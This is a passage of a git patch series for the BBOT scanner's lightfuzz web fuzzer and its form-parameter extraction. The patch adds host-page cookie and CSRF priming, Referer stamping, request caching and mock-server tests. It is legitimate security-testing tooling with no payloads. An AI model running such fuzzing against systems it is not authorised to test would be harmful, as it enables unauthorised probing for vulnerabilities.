the host URL. lightfuzz primes + # its connectivity GET (cookies, session bootstrap) against this + # URL, and submodules stamp it as the POST's Referer — matching + # what a browser would have done when submitting the form. + host_url = event.url + if host_url and host_url != emit_url: + data["host_url"] = host_url await self.report(data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER") class CSPExtractor(ExcavateRule): diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a73ba60dec..599d8af350 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -2,6 +2,7 @@ from urllib.parse import urlparse from bbot.modules.base import BaseModule +from bbot.core.helpers.async_helpers import NamedLock from bbot.errors import InteractshError from bbot.core.helpers.misc import get_waf_strings @@ -70,6 +71,19 @@ async def setup(self): self._baseline_probe_response_cache = {} self._baseline_probe_response_cache_max = 200 + # Cross-event cache for connectivity_test responses keyed on prime_url. + # Every WEB_PARAMETER's handle_event fires a connectivity GET against + # prime_url to refresh assigned_cookies; with _module_threads > 1, the + # five-or-so WEB_PARAMETERs excavate emits per page (csrf, custom header, + # Set-Cookie) all race their GETs against the same host page. Servers + # that cycle a session/CSRF token on each GET hand each racer a distinct + # token, then every subsequent POST lands with a stale cookie. + # NamedLock per prime_url serializes concurrent handle_events for the + # same URL: first caller fires the GET and caches the response, the + # rest acquire the released lock and return the cached response. + self._connectivity_test_cache = {} + self._connectivity_test_locks = NamedLock(max_size=200) + if not self.enabled_submodules: return False, "Lightfuzz enabled without any submodules. Must enable at least one submodule." @@ -136,6 +150,22 @@ async def interactsh_callback(self, r): # this is likely caused by something trying to resolve the base domain first and can be ignored self.debug("skipping result because subdomain tag was missing") + async def _connectivity_test(self, prime_url): + """Fire (or share) a connectivity GET against ``prime_url`` to refresh + cookies/CSRF state, returning the response. Concurrent handle_events + for the same prime_url serialize through a per-URL lock: the first + caller fires the GET and caches the response; subsequent callers + acquire the released lock and read the cached value back.""" + cache = self._connectivity_test_cache + if prime_url in cache: + return cache[prime_url] + async with self._connectivity_test_locks.lock(prime_url): + if prime_url in cache: + return cache[prime_url] + response = await self.helpers.request(prime_url, timeout=10) + cache[prime_url] = response + return response + @staticmethod def _baseline_request_signature(request_params): """Stable hashable signature of a baseline request (URL + method + body + cookies + headers).""" @@ -206,6 +236,13 @@ def _outgoing_dedup_hash(self, event): event.data.get("name", ""), ) ) + # HTTP_RESPONSE and friends: include body hash in dedup so Probe A and + # Probe B emissions (same method+url, distinct bodies) both surface. + body_hash = "" + if isinstance(event.data, dict): + response_hash = event.data.get("hash") or {} + if isinstance(response_hash, dict): + body_hash = response_hash.get("body_md5", "") or "" return hash( ( "lightfuzz", @@ -213,6 +250,7 @@ def _outgoing_dedup_hash(self, event): str(event.host), event.url, event.data.get("method", "") if isinstance(event.data, dict) else "", + body_hash, ) ) @@ -262,8 +300,16 @@ async def handle_event(self, event): await self.emit_event(data, "WEB_PARAMETER", event) elif event.type == "WEB_PARAMETER": - # check connectivity to url - connectivity_test = await self.helpers.request(event.url, timeout=10) + # Prime against the form's host page when distinct from the action URL. + # Browsers GET the host page first (seeding session cookies, CSRF tokens, + # any required server-side bootstrap state) and then POST to the action. + # When excavate stamps host_url on a form-derived WEB_PARAMETER, we mirror + # that flow: the connectivity GET hits host_url, fresh cookies merge into + # assigned_cookies, and the baseline POST goes to event.url. Falls back + # to event.url for non-form params or self-posting forms. + host_url = event.data.get("host_url") if isinstance(event.data, dict) else None + prime_url = host_url if host_url and host_url != event.url else event.url + connectivity_test = await self._connectivity_test(prime_url) if connectivity_test: # Refresh assigned_cookies from the connectivity GET. The cookies excavate diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 87ea52e025..055fac1756 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -145,22 +145,54 @@ def prepare_request( # Construct request parameters based on the event type if event_type == "GETPARAM": url = self.build_query_string(probe, parameter_name, additional_params) - return {"method": "GET", "cookies": cookies, "url": url} + request_params = {"method": "GET", "cookies": cookies, "url": url} elif event_type == "COOKIE": cookies_probe = {parameter_name: probe} - return {"method": "GET", "cookies": {**cookies, **cookies_probe}, "url": self.event.url} + request_params = { + "method": "GET", + "cookies": {**cookies, **cookies_probe}, + "url": self.event.url, + } elif event_type == "HEADER": headers = {parameter_name: probe} - return {"method": "GET", "headers": headers, "cookies": cookies, "url": self.event.url} + request_params = { + "method": "GET", + "headers": headers, + "cookies": cookies, + "url": self.event.url, + } elif event_type in ["POSTPARAM", "BODYJSON"]: # Prepare data for POSTPARAM and BODYJSON event types data = {parameter_name: probe} if additional_params: data.update(additional_params) if event_type == "BODYJSON": - return {"method": "POST", "json": data, "cookies": cookies, "url": self.event.url} + request_params = { + "method": "POST", + "json": data, + "cookies": cookies, + "url": self.event.url, + } else: - return {"method": "POST", "data": data, "cookies": cookies, "url": self.event.url} + request_params = { + "method": "POST", + "data": data, + "cookies": cookies, + "url": self.event.url, + } + else: + return None + + # Stamp Referer matching what a browser would have sent: the URL of the page + # the form was discovered on. Only set when excavate marked the parameter as + # coming from a form whose host page is distinct from the action URL — apps + # that validate Referer for CSRF-like patterns reject POSTs without it. + host_url = self.event.data.get("host_url") if isinstance(self.event.data, dict) else None + if host_url: + request_params.setdefault("headers", {}) + request_params["headers"]["Referer"] = host_url + + return request_params def compare_baseline( self, diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 17f645c9d8..4319d6dd0d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4269,8 +4269,12 @@ class Test_Lightfuzz_cookie_refresh(ModuleTestBase): }, } - # Stateful: counter cycles per GET, current_token tracks the latest one issued. - _token_state = {"counter": 0, "current": None} + # The very first issued token is a "bootstrap" — represents the cookie the + # spider captured, which we want to reject at POST time. Subsequent GETs + # without an incoming cookie issue tokens that ARE valid for POST. GETs + # that carry a cookie preserve the current token without rotating, so + # parallel probes (sqli COOKIE fuzzing) don't invalidate the legitimate POST. + _token_state = {"counter": 0, "current": None, "valid_for_post": set()} landing_page = """ @@ -4283,20 +4287,33 @@ class Test_Lightfuzz_cookie_refresh(ModuleTestBase): async def setup_after_prep(self, module_test): state = self._token_state + state["counter"] = 0 + state["current"] = None + state["valid_for_post"] = set() def combined_handler(request): - # GET / → serve the form, cycle the TESTSESSION cookie to a fresh token. - # POST /cookie-login → reveal the secret only if the request carries the - # most-recently-issued TESTSESSION (the post-refresh token). + # GET / → if no incoming cookie, issue a fresh token. The first + # issued token (spider's) is bootstrap-only and NOT added to + # valid_for_post; subsequent issuances ARE valid for POST. GETs + # that already carry a cookie preserve current — parallel probes + # (sqli COOKIE fuzzing on TESTSESSION) don't invalidate the + # legitimate baseline POST. + # POST /cookie-login → reveal the secret only if the cookie was + # issued by a non-bootstrap GET. The discriminator: lightfuzz MUST + # refresh via its connectivity_test GET; using the spider's + # captured cookie directly fails. if request.method == "GET": - state["counter"] += 1 - state["current"] = f"token-{state['counter']}" + if not request.cookies.get("TESTSESSION"): + state["counter"] += 1 + state["current"] = f"token-{state['counter']}" + if state["counter"] > 1: + state["valid_for_post"].add(state["current"]) resp = Response(self.landing_page, status=200, content_type="text/html") resp.set_cookie("TESTSESSION", state["current"], path="/") return resp else: # POST cookie = request.cookies.get("TESTSESSION", "") - if cookie and cookie == state["current"]: + if cookie in state["valid_for_post"]: body = 'Authorized' else: body = "

    Session expired

    " @@ -4569,3 +4586,101 @@ def check(self, module_test, events): assert len(unique_bodies) == 1, ( f"Expected one unique POST body for the selected-option form, got {len(unique_bodies)}: {unique_bodies}" ) + + +# End-to-end test for host-page priming: forms whose action URL is a different +# endpoint than the page they were discovered on (the canonical CF / ASP.NET +# WebForms / "search → results" shape) require a real browser to GET the host +# page first to seed session state, then POST to the action URL with those +# cookies. This server only reveals /host-cookie-secret when the POST carries +# a cookie that's only set on the host page's GET response. +class Test_Lightfuzz_host_url_priming(ModuleTestBase): + targets = ["http://127.0.0.1:8888/host.html"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": {"lightfuzz": {"enabled_submodules": ["crypto"]}}, + } + + _request_log = {"action_posts": [], "action_referers": []} + + host_page = """ + +

    Search

    +
    + + +
    + + """ + + async def setup_after_prep(self, module_test): + self._request_log["action_posts"] = [] + self._request_log["action_referers"] = [] + + def handler(request): + path = request.path + if path == "/host.html" and request.method == "GET": + resp = Response(self.host_page, status=200, content_type="text/html") + # Cookie is set only on the host page's GET — POSTs that didn't + # GET this page first won't carry it. + resp.set_cookie("HOSTSESSION", "host-page-cookie", path="/") + return resp + if path == "/action" and request.method == "POST": + self._request_log["action_posts"].append(dict(request.form)) + self._request_log["action_referers"].append(request.headers.get("Referer", "")) + self._request_log.setdefault("action_cookie_headers", []).append(request.headers.get("Cookie", "")) + # Reveal the secret only when: + # - the HOSTSESSION cookie is present (proves lightfuzz primed + # against /host.html and carried its cookies through), AND + # - the keyword field is non-empty (proves dual-probe's Probe B fired) + cookie = request.cookies.get("HOSTSESSION", "") + keyword = request.form.get("keyword", "") + if cookie == "host-page-cookie" and keyword: + body = 'found' + else: + body = f"missing pieces (cookie={cookie!r} keyword={keyword!r})" + return Response(body, status=200, content_type="text/html") + return Response("not found", status=404) + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/host-cookie-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /host-cookie-secret not emitted — lightfuzz POST " + "to /action likely didn't carry the cookie set by GET /host.html, " + "meaning host_url priming failed.\n" + f"action POSTs received: {self._request_log['action_posts']}\n" + f"Referer headers received: {self._request_log['action_referers']}\n" + f"Cookie headers received: {self._request_log.get('action_cookie_headers')}" + ) + + # At least one keyword WEB_PARAMETER should carry host_url pointing to /host.html. + # Excavate emits one per form-extractor that matches; the PostForm (with action) + # extractor stamps host_url, the PostForm_NoAction emission doesn't (its emit_url + # falls back to event.url so they coincide and stamping is a no-op). + keyword_params = [ + e + for e in events + if e.type == "WEB_PARAMETER" and isinstance(e.data, dict) and e.data.get("name") == "keyword" + ] + assert keyword_params, "WEB_PARAMETER for 'keyword' was not emitted" + host_urls = [kp.data.get("host_url") for kp in keyword_params] + assert any(h and h.endswith("/host.html") for h in host_urls), ( + f"no keyword WEB_PARAMETER carried host_url pointing to /host.html; got: {host_urls}" + ) + + # Action POSTs should carry Referer matching the host page URL. + referers = [r for r in self._request_log["action_referers"] if r] + assert referers, "no Referer header was sent on action POSTs" + assert any(r.endswith("/host.html") for r in referers), ( + f"action POSTs did not carry Referer pointing to host page; got: {referers}" + ) From 555df359864ca058df43d2a30d79a44b8da592c5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 12 May 2026 11:01:15 -0400 Subject: [PATCH 640/912] trim verbose comments/docstrings; fix web_parameters test against post-PostForm_NoAction-fix counts --- bbot/core/helpers/diff.py | 4 +- bbot/core/helpers/web/response_event.py | 9 +-- bbot/modules/http.py | 15 ++-- bbot/modules/internal/excavate.py | 61 ++++----------- bbot/modules/lightfuzz/lightfuzz.py | 67 +++-------------- bbot/modules/lightfuzz/submodules/base.py | 74 ++++--------------- .../test_module_web_parameters.py | 74 ++++++++++--------- 7 files changed, 86 insertions(+), 218 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index c5cfbe18d4..a572456b51 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -34,9 +34,7 @@ def __init__( self.headers = headers self.cookies = cookies self.timeout = 10 - # Optional async callback fired once after baseline_1 is established. - # Receives the baseline_1 response and the bound request_params. Used by - # lightfuzz to emit HTTP_RESPONSE events from canonical baseline pages. + # Optional async callback fired once with baseline_1 after the baseline is established. self.on_baseline_ready = on_baseline_ready @staticmethod diff --git a/bbot/core/helpers/web/response_event.py b/bbot/core/helpers/web/response_event.py index 24ec22f312..16dafd4695 100644 --- a/bbot/core/helpers/web/response_event.py +++ b/bbot/core/helpers/web/response_event.py @@ -1,12 +1,7 @@ """Build HTTP_RESPONSE event data dicts from blasthttp.Response objects. -Shared between the `http` module (every probed URL) and `lightfuzz` (baseline -responses worth re-mining). Keeping the shape in one place ensures excavate sees -a consistent HTTP_RESPONSE format regardless of which module produced it. - -Materializes hash and cert_info at call time — only run this when about to -emit an HTTP_RESPONSE event so the laziness of the underlying blasthttp.Response -is preserved for all other code paths. +Materializes hash and cert_info eagerly, so only call when about to emit an +HTTP_RESPONSE event (otherwise blasthttp.Response stays lazy). """ import re diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 9014e81876..e9c5a65c7a 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -217,16 +217,11 @@ async def handle_batch(self, *events): ) configs.append(config) - # Suppress redundant https probes when http already succeeded for the same - # (host, port). When probing an unknown port, we try both schemes; if http - # works, the port definitely speaks HTTP, and the https result is likely a - # proxy artifact (intercepting proxies like Burp terminate TLS themselves, - # making any https:// URL "succeed" regardless of whether the target really - # speaks TLS). Explicit URL/URL_UNVERIFIED events are never suppressed — - # only speculative OPEN_TCP_PORT probes. - # - # Streaming requires per-pair coordination: emit http immediately, defer - # https until http's outcome is known (or the stream ends). + # Suppress redundant https probes when http already succeeded for the same (host, port) — + # intercepting proxies (Burp etc.) terminate TLS themselves, making any https:// "succeed" + # regardless of real TLS support. Only applies to speculative OPEN_TCP_PORT probes; + # explicit URL/URL_UNVERIFIED events are never suppressed. + # Streaming requires per-pair coordination: emit http immediately, defer https until http's outcome is known. http_succeeded = {} # key -> bool, set when http result arrives deferred_https = {} # key -> result, awaiting http verdict diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index ae18fbbdf3..b986e25bda 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -430,29 +430,17 @@ async def extract(self): pass def __init__(self, excavate, result, response_body=None, match_offset=0): - # response_body + match_offset are used by form discovery rules: - # YARA matches only the opening
    tag (avoiding its ~4 KB - # `.*` regex cliff), and extract() slices the surrounding body - # to feed the Python re-based extraction regex with a region - # large enough to contain a real-world form. self.excavate = excavate self.result = result self.response_body = response_body self.match_offset = match_offset def form_body_slice(self): - """Return a bounded slice of the response body anchored at the YARA match - offset. Form-extraction rules call this to scan a region big enough to - contain `
    ` even on forms with multi-KB `` with a few hundred options is enough). The Python - # `extraction_regex` below runs on a bounded slice of the response body - # anchored at this match offset (see ParameterExtractorRule.form_body_slice). + # YARA matches only the opening tag; extract() scans a bounded body slice (form_body_slice). discovery_regex = r'/]*\bmethod=["\']?get["\']?[^>]*>/s nocase' form_content_regexes = { "input_tag_regex": bbot_regexes.input_tag_regex, @@ -631,12 +614,8 @@ async def extract(self): (name, _pick_select_value(options_html)) for name, options_html in input_tags ] for parameter_name, original_value in input_tags: - # Preserve empty strings (selects can legitimately have "" - # as their preferred value); only None means "no value seen". - if original_value is None: - normalized = None - else: - normalized = original_value.strip() + # Preserve empty strings; only None means "no value seen". + normalized = original_value.strip() if original_value is not None else None form_parameters.setdefault(parameter_name, normalized) for parameter_name, original_value in form_parameters.items(): @@ -687,11 +666,7 @@ def __init__(self, excavate): ) async def preprocess(self, r, event, discovery_context): - # Override the base class flattener so each YARA hit retains its offset. - # Form rules need (matched_data, offset) per instance because they - # reconstruct the form body from a bounded slice of the response body - # anchored at the match offset — YARA's regex engine can't span the - # opening tag to `` reliably on forms larger than ~4 KB. + # Override base flattener to retain per-instance YARA offsets (needed by form_body_slice). description = "" tags = [] emit_match = False @@ -723,15 +698,8 @@ async def preprocess(self, r, event, discovery_context): await self.process(yara_results, event, yara_rule_settings, discovery_context) async def process(self, yara_results, event, yara_rule_settings, discovery_context): - # Two-pass: collect every yielded tuple across all YARA results for an - # identifier (YARA matches each tag separately, so values for the - # same param-name arrive one match at a time), then group by - # (parameter_type, parameter_name, url) and emit one WEB_PARAMETER per - # group. The first observed value becomes original_value; any additional - # distinct values for the same param are attached as same_param_values, - # surviving the WEB_PARAMETER dedup that would otherwise discard them. - # Cross-value detectors (e.g. lightfuzz crypto's keystream-reuse check) - # read same_param_values. + # Group yields by (type, name, url) within an identifier; extra distinct values for + # the same param are stashed in same_param_values so they survive WEB_PARAMETER dedup. response_body = event.data.get("body", "") if isinstance(event.data, dict) else "" for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): @@ -819,11 +787,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte } if same_param_values: data["same_param_values"] = same_param_values - # When the form's action URL is a different endpoint than the page - # the form was discovered on, stamp the host URL. lightfuzz primes - # its connectivity GET (cookies, session bootstrap) against this - # URL, and submodules stamp it as the POST's Referer — matching - # what a browser would have done when submitting the form. + # Stamp the discovery page URL when distinct from the form's action. + # Downstream fuzzers use it for cookie/CSRF priming and as the Referer. host_url = event.url if host_url and host_url != emit_url: data["host_url"] = host_url diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 599d8af350..325b652ddc 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -56,31 +56,15 @@ async def setup(self): self.avoid_wafs = self.scan.config.get("avoid_wafs", True) self.emit_baseline_responses = self.config.get("emit_baseline_responses", True) self.submodules = {} - # Per-WEB_PARAMETER baseline cache: {event.id: {request_sig: HttpCompare}}. - # Identical baselines across submodules (sqli, cmdi, path on a POSTPARAM - # with no envelopes) share one HttpCompare — and therefore one network - # baseline pair and one HTTP_RESPONSE emission. Cleared at end of handle_event. + # Per-event baseline cache so submodules with identical request signatures share one HttpCompare. self._baseline_cache = {} - # Cross-event cache for baseline_probe responses keyed on request signature. - # Each WEB_PARAMETER triggers its own baseline_probe; sibling fields of the - # same form produce identical request bodies (the data dict has the same - # keys+values regardless of which one is the "primary"), so without sharing - # we'd fire N identical requests per N-field form. Bounded LRU-by-insertion - # to keep long scans from accumulating responses. + # Cross-event baseline_probe response cache: sibling fields of the same form produce identical requests. self._baseline_probe_response_cache = {} self._baseline_probe_response_cache_max = 200 - # Cross-event cache for connectivity_test responses keyed on prime_url. - # Every WEB_PARAMETER's handle_event fires a connectivity GET against - # prime_url to refresh assigned_cookies; with _module_threads > 1, the - # five-or-so WEB_PARAMETERs excavate emits per page (csrf, custom header, - # Set-Cookie) all race their GETs against the same host page. Servers - # that cycle a session/CSRF token on each GET hand each racer a distinct - # token, then every subsequent POST lands with a stale cookie. - # NamedLock per prime_url serializes concurrent handle_events for the - # same URL: first caller fires the GET and caches the response, the - # rest acquire the released lock and return the cached response. + # Per-URL lock + cache so concurrent WEB_PARAMETERs for the same page share one connectivity GET + # (servers that cycle session/CSRF tokens hand each racer a different token otherwise). self._connectivity_test_cache = {} self._connectivity_test_locks = NamedLock(max_size=200) @@ -151,11 +135,7 @@ async def interactsh_callback(self, r): self.debug("skipping result because subdomain tag was missing") async def _connectivity_test(self, prime_url): - """Fire (or share) a connectivity GET against ``prime_url`` to refresh - cookies/CSRF state, returning the response. Concurrent handle_events - for the same prime_url serialize through a per-URL lock: the first - caller fires the GET and caches the response; subsequent callers - acquire the released lock and read the cached value back.""" + """Fire (or share) a connectivity GET against ``prime_url``; concurrent callers share one response.""" cache = self._connectivity_test_cache if prime_url in cache: return cache[prime_url] @@ -196,12 +176,7 @@ def store_cached_baseline(self, event, signature, http_compare): self._baseline_cache.setdefault(event.id, {})[signature] = http_compare async def emit_baseline_response(self, response, event, method): - """Emit a baseline blasthttp Response as an HTTP_RESPONSE event with `event` as parent. - - Excavate consumes the resulting event and can discover new URLs/params - rendered only by the canonical POST/GET (forms behind a submit, redirect - targets, confirmation pages). - """ + """Emit a baseline blasthttp Response as an HTTP_RESPONSE event so excavate can mine post-submit pages.""" if not self.emit_baseline_responses: return if response is None: @@ -222,9 +197,6 @@ async def emit_baseline_response(self, response, event, method): ) def _outgoing_dedup_hash(self, event): - # FINDING events use a rich dedup key; other event types (e.g. HTTP_RESPONSE, - # which has no "description") fall through to a sensible default keyed on - # url + method so identical baselines never re-emit. if event.type == "FINDING": return hash( ( @@ -236,8 +208,7 @@ def _outgoing_dedup_hash(self, event): event.data.get("name", ""), ) ) - # HTTP_RESPONSE and friends: include body hash in dedup so Probe A and - # Probe B emissions (same method+url, distinct bodies) both surface. + # Include body hash so dual baselines (same method+url, distinct bodies) both surface. body_hash = "" if isinstance(event.data, dict): response_hash = event.data.get("hash") or {} @@ -300,24 +271,14 @@ async def handle_event(self, event): await self.emit_event(data, "WEB_PARAMETER", event) elif event.type == "WEB_PARAMETER": - # Prime against the form's host page when distinct from the action URL. - # Browsers GET the host page first (seeding session cookies, CSRF tokens, - # any required server-side bootstrap state) and then POST to the action. - # When excavate stamps host_url on a form-derived WEB_PARAMETER, we mirror - # that flow: the connectivity GET hits host_url, fresh cookies merge into - # assigned_cookies, and the baseline POST goes to event.url. Falls back - # to event.url for non-form params or self-posting forms. + # Mirror browser flow: GET the form's host page first to seed cookies/CSRF, then POST to action. host_url = event.data.get("host_url") if isinstance(event.data, dict) else None prime_url = host_url if host_url and host_url != event.url else event.url connectivity_test = await self._connectivity_test(prime_url) if connectivity_test: - # Refresh assigned_cookies from the connectivity GET. The cookies excavate - # originally captured may be stale by the time we fuzz (cycled tokens, - # expired sessions); the connectivity probe just hit the server, so its - # Set-Cookie response is the freshest state we can get without an extra - # request. Fresh values win on conflict; cookies the GET didn't re-issue - # (e.g. an auth cookie originally seen elsewhere) are preserved. + # Merge fresh Set-Cookie values from the connectivity GET into assigned_cookies. + # Cookies the GET didn't re-issue (e.g. an unrelated auth cookie) are preserved. fresh_cookies = dict(getattr(connectivity_test, "cookies", {}) or {}) if fresh_cookies: merged = dict(event.data.get("assigned_cookies") or {}) @@ -327,12 +288,8 @@ async def handle_event(self, event): try: original_type = event.data["type"] - # Fire the canonical baseline form submission once per WEB_PARAMETER, - # at the module level, independent of which submodules are enabled. - # Excavate mines whichever response(s) carry useful page content - # (filter-style vs search-style forms differ in which probe produces - # content). The response cache means any later submodule baseline_probe - # call (e.g. from crypto) is a no-op for the same signature. + # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the + # post-submit page; later submodule baseline_probes hit the response cache. if self.emit_baseline_responses: from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 055fac1756..fb64f203bf 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -7,11 +7,7 @@ class BaseLightfuzz: friendly_name = "" uses_interactsh = False - # When True, this submodule operates at the wire-format level and does - # NOT want the envelope system to unwrap incoming probe values or pack - # outgoing ones. Used by submodules whose payloads ARE the transport - # encoding (e.g. `serial`, whose base64/hex/PHP-raw payloads are already - # the exact bytes the server should receive). + # True for submodules whose payloads ARE the wire format (e.g. `serial`) — skip envelope wrapping. skip_envelopes = False def __init__(self, lightfuzz, event): @@ -122,12 +118,8 @@ def prepare_request( parameter_name = self.parameter_name additional_params = self.additional_params_process(additional_params, additional_params_populate_empty) - # Normalize None values to "" at the wire boundary. Excavate intentionally - # distinguishes `original_value=None` (" had no value attribute") from - # `original_value=""` ("") in the event metadata, but the - # wire serialization is identical for both — browsers submit them as `name=`. - # Python's urlencode renders None as the literal text "None", which targets - # then reject as malformed input. + # Coerce None → "" at the wire boundary (excavate preserves the None/"" distinction + # in metadata, but browsers serialize both as `name=`; urlencode renders None as "None"). if additional_params: additional_params = {k: ("" if v is None else v) for k, v in additional_params.items()} if probe is None: @@ -183,10 +175,8 @@ def prepare_request( else: return None - # Stamp Referer matching what a browser would have sent: the URL of the page - # the form was discovered on. Only set when excavate marked the parameter as - # coming from a form whose host page is distinct from the action URL — apps - # that validate Referer for CSRF-like patterns reject POSTs without it. + # Stamp Referer to the form's host page (when distinct from action) — some apps + # validate Referer for CSRF-like patterns and reject POSTs without it. host_url = self.event.data.get("host_url") if isinstance(self.event.data, dict) else None if host_url: request_params.setdefault("headers", {}) @@ -206,21 +196,9 @@ def compare_baseline( parameter_name_suffix_additional_params="", emit_http_response=True, ): - """ - Compares the baseline using prepared request parameters. - - Shares one HttpCompare across submodules whose baselines collapse to the - same request signature (URL + method + body + cookies + headers). The - first call for a given (event, signature) creates the HttpCompare and - registers a one-shot callback that emits the canonical baseline response - as an HTTP_RESPONSE event (when ``emit_http_response`` is true). Later - callers with the same signature reuse the cached HttpCompare — no extra - baseline pair, no duplicate emission. - - ``emit_http_response=False`` suppresses HTTP_RESPONSE emission for - confirmation rounds and FP-killer baselines whose responses are not - useful page renderings. - """ + """Return an HttpCompare for the given request signature, sharing the instance with + any prior caller with the same signature. Emits one HTTP_RESPONSE per unique baseline + (set ``emit_http_response=False`` for confirmation/FP-killer baselines).""" additional_params = copy.deepcopy(self.event.data.get("additional_params", {})) if additional_params and parameter_name_suffix_additional_params: @@ -260,35 +238,13 @@ async def _on_ready(baseline_response): return http_compare async def baseline_probe(self, cookies, emit_http_response=True): - """ - Executes the canonical baseline probe(s) by submitting the form the - way a browser would: POSTs carry the parameter's ``original_value`` - plus every sibling field from ``additional_params``; GETs carry them - in the querystring; headers/cookies inject them on the wire. Uses - ``prepare_request()`` so the request shape matches what - ``compare_baseline`` would build. - - Fires up to two requests per call: - - * **Probe A — form as captured.** Filter-style forms whose "show - all results" state is the no-narrowing default produce content - here. This is the only baseline returned to the caller. - - * **Probe B — this field populated with ``"a"``.** Fired only when - the fuzzed parameter's ``original_value`` is ``None`` or ``""`` - (i.e. the field had no captured default — typically a free-text - search input). Catches search-style forms whose useful content - appears only when the primary text input is non-empty. Skipped - entirely when the field already has a meaningful default. - - Both probes go through ``emit_baseline_response`` so excavate can - re-mine either populated page. Whichever probe got content wins via - the response itself — no classifier picks between them. - - Responses are cached on the parent ``lightfuzz`` module by request - signature: identical Probe A bodies across siblings of the same form - (data dict identical regardless of which field is the "primary") - collapse to one network request and one emission. + """Submit the canonical baseline the way a browser would, returning Probe A's response. + + Probe A: form as captured (``original_value`` + sibling ``additional_params``). + Probe B: this field populated as ``"a"`` — only fired when ``original_value`` is None/"". + Catches search-style forms whose content only appears when the primary input is non-empty. + Both responses are emitted as HTTP_RESPONSE; responses are cached per request signature + so form siblings share one network request. """ additional_params = copy.deepcopy(self.event.data.get("additional_params", {})) probe_value_a = self.incoming_probe_value(populate_empty=False) diff --git a/bbot/test/test_step_2/module_tests/test_module_web_parameters.py b/bbot/test/test_step_2/module_tests/test_module_web_parameters.py index ca88a021d3..21a3b0adaf 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_parameters.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_parameters.py @@ -9,20 +9,23 @@ def check(self, module_test, events): with open(parameters_file) as f: data = f.read() - assert "age" in data - assert "fit" in data - assert "id" in data - assert "jqueryget" in data - assert "jquerypost" in data - assert "size" in data - - # after lightfuzz is merged uncomment these additional parameters - # assert "blog-post-author-display" in data - # assert "csrf" in data - # assert "q1" in data - # assert "q2" in data - # assert "q3" in data - # assert "test" in data + for name in ( + "age", + "blog-post-author-display", + "csrf", + "fit", + "id", + "jqueryget", + "jquerypost", + "q1", + "q2", + "q3", + "q4", + "q5", + "size", + "test", + ): + assert name in data, f"missing parameter: {name}" class TestWebParameters_include_count(TestWebParameters): @@ -35,25 +38,24 @@ def check(self, module_test, events): parameters_file = module_test.scan.home / "web_parameters.txt" with open(parameters_file) as f: data = f.read() - assert "2\tq" in data - assert "1\tage" in data - assert "1\tfit" in data - assert "1\tid" in data - assert "1\tjqueryget" in data - assert "1\tjquerypost" in data - assert "1\tsize" in data - - # after lightfuzz is merged, these will be the correct parameters to check - - # assert "3\ttest" in data - # assert "2\tblog-post-author-display" in data - # assert "2\tcsrf" in data - # assert "2\tq2" in data - # assert "1\tage" in data - # assert "1\tfit" in data - # assert "1\tid" in data - # assert "1\tjqueryget" in data - # assert "1\tjquerypost" in data - # assert "1\tq1" in data - # assert "1\tq3" in data - # assert "1\tsize" in data + + # "test" is the custom http_headers value the test scan injects; each + # HTTP_RESPONSE re-emits it as a HEADER WEB_PARAMETER, so it shows 3. + # Every other param is extracted once per unique (type, name, url). + for expected in ( + "3\ttest", + "1\tage", + "1\tblog-post-author-display", + "1\tcsrf", + "1\tfit", + "1\tid", + "1\tjqueryget", + "1\tjquerypost", + "1\tq1", + "1\tq2", + "1\tq3", + "1\tq4", + "1\tq5", + "1\tsize", + ): + assert expected in data, f"missing line: {expected!r}" From 0190d32d7b55fc0e107621473738ac64828f8210 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 12 May 2026 16:21:53 -0400 Subject: [PATCH 641/912] CPU: swap weighted_shuffle to O(n log n), cache ip_address lookups MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - weighted_shuffle: replace O(n²) re-normalize-and-draw loop with Efraimidis-Spirakis (one biased random key per item, then sort). ~10x faster at n=20, ~21x at n=105. - make_ip_type: lru_cache + cheap "looks like an IP" pre-filter so hostnames bail before paying for ipaddress' parse+exception path. - Add cached_ip_address / cached_ip_network wrappers and use them in the IP_ADDRESS event class, event-seed helpers, is_ip, and dnsresolve to absorb the ~5x amplification on direct ip_address calls visible in #2074's CPU profile. --- bbot/core/event/base.py 